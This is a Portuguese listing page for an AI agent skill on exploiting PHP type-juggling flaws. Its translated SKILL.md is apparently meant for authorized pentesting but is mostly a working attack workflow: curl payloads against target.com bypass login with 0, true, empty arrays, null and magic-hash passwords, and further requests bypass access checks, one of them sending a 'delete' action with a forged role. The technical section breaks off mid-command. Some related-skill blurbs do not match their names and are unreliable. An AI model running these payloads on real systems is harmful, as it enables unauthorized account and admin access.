exploiting-type-juggling-vulnerabilities
Faz seu agente explorar vulnerabilidades de 'type juggling' em aplicações PHP.
O que ela faz
Essa ferramenta ajuda a encontrar e explorar falhas de segurança em sites feitos com a linguagem PHP. Ela se aproveita de como o PHP compara tipos de dados de forma flexível para tentar acessar áreas restritas ou enganar o sistema.
Quando usar
- ✓Ao testar a segurança de um site PHP para ver se é possível burlar o login.
- ✓Quando um site compara senhas ou códigos de verificação de forma não muito rigorosa.
- ✓Ao verificar se é possível enganar o sistema para obter acesso a funções restritas.
Exemplo do que pedir para a IA
“Tente fazer login no site de teste como administrador, mas envie o número 0 como senha em vez de texto.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia diferentes tipos de dados (como números, booleanos ou listas vazias) para campos que esperam um tipo específico. Se o site usar uma comparação flexível, ele pode aceitar um tipo inesperado como válido.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-type-juggling-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-type-juggling-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de "Type Juggling"
Quando Usar
- Ao testar aplicações web PHP em busca de vulnerabilidades de bypass de autenticação
- Durante a avaliação da lógica de comparação de senhas e verificação de hashes
- Ao testar aplicações que usam comparação frouxa (
==em vez de===) - Durante a revisão de código de aplicações PHP que manipulam entrada JSON ou desserializada
- Ao avaliar a validação de entrada que depende de comparação dependente de tipo
Pré-requisitos
- Compreensão do sistema de tipos do PHP e do comportamento da comparação frouxa
- Conhecimento de valores mágicos de hash (prefixo
0e) e sua interpretação em notação científica - Burp Suite para manipulação de requisições e alteração de tipo de parâmetro
- Ambiente de desenvolvimento PHP para testar payloads localmente
- Coleção de strings de hash mágicas do PayloadsAllTheThings
- Capacidade de enviar dados JSON ou serializados para controlar os tipos de entrada
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1 — Identificar Candidatos a "Type Juggling"
# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control
# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}'
# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}
Passo 2 — Explorar Bypass de Autenticação com Comparação Frouxa
# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
# Send null
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":null}'
# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
-d "username=admin&password[]=anything"
Passo 3 — Explorar Colisões de Hash Mágicos
# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison
# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO" -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299
# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
-d "username=admin&password=240610708"
# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393
# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
echo -n "Testing: $payload -> "
curl -s -X POST http://target.com/login \
-d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
echo
done
Passo 4 — Explorar Comparação no Controle de Acesso
# Bypass de comparação numérica
# Se: if($user_id == $target_id) { // permite acesso }
# "0" == "0e12345" é VERDADEIRO (ambos avaliam para 0)
# Conversão de string para inteiro
# "1abc" == 1 é VERDADEIRO em PHP (string truncada para inteiro)
curl "http://target.com/api/user?id=1abc"
# Comparação booleana para verificação de permissão
# if($role == true) concede acesso a qualquer string não vazia
curl -X POST http://target.com/api/action \
-H "Content-Type: application/json" \
-d '{"action":"delete","role":true}'
# Comparação nula para verificações opcionais
# if($token == null) pode pular a validação
curl -X POST http://target.com/api/verify \
…
Perguntas frequentes
O que é 'type juggling'?
É quando o PHP tenta adivinhar o tipo de um dado para fazer uma comparação, o que pode levar a erros se o tipo enviado for diferente do esperado.
O que são 'magic hashes'?
São valores de hash (códigos de segurança) que, por causa da comparação flexível do PHP, parecem iguais a zero quando comparados com números, permitindo enganar verificações de senha.
Isso é legal?
Só deve ser usado em testes de segurança autorizados e com permissão explícita. Usar sem permissão é ilegal.
Detalhes
Descrição original do autor
Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5762
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
agent-architecture-audit
Faz seu agente verificar se tudo está funcionando corretamente. Ele encontra e conserta problemas em sistemas de IA, garantindo que funcionem como esperado.
affaan-m/ECC
agent-eval
Ajuda seu agente a comparar diferentes ferramentas de programação de IA. Ele mede qual é mais rápido, barato e confiável para realizar tarefas específicas.
affaan-m/ECC
agent-harness-construction
Faz seu agente entender melhor como realizar tarefas. Ele otimiza as ferramentas e instruções que o agente usa para aumentar suas chances de sucesso.
affaan-m/ECC